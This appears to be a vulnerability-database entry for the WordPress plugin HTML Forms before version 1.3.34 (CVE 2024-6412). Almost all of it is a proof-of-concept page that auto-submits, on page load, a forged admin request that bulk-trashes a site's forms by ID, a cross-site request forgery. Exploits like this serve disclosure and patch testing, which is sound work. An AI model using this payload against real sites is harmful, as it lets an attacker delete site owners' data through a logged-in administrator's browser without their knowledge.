HTML Forms – Simple WordPress Forms Plugin < 1.3.34 – Bulk Delete via CSRF | CVE 2024-6412 | Plugin Vulnerabilities

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=html-forms" method="POST">
        <input type="text" name="forms[]" value="<<FORM__ID>>" />
        <input type="text" name="action" value="trash" />
        <input type="text" name="action2" value="trash2" />
        action
        <input type="submit" value="submit">
    </form>
</body>
```
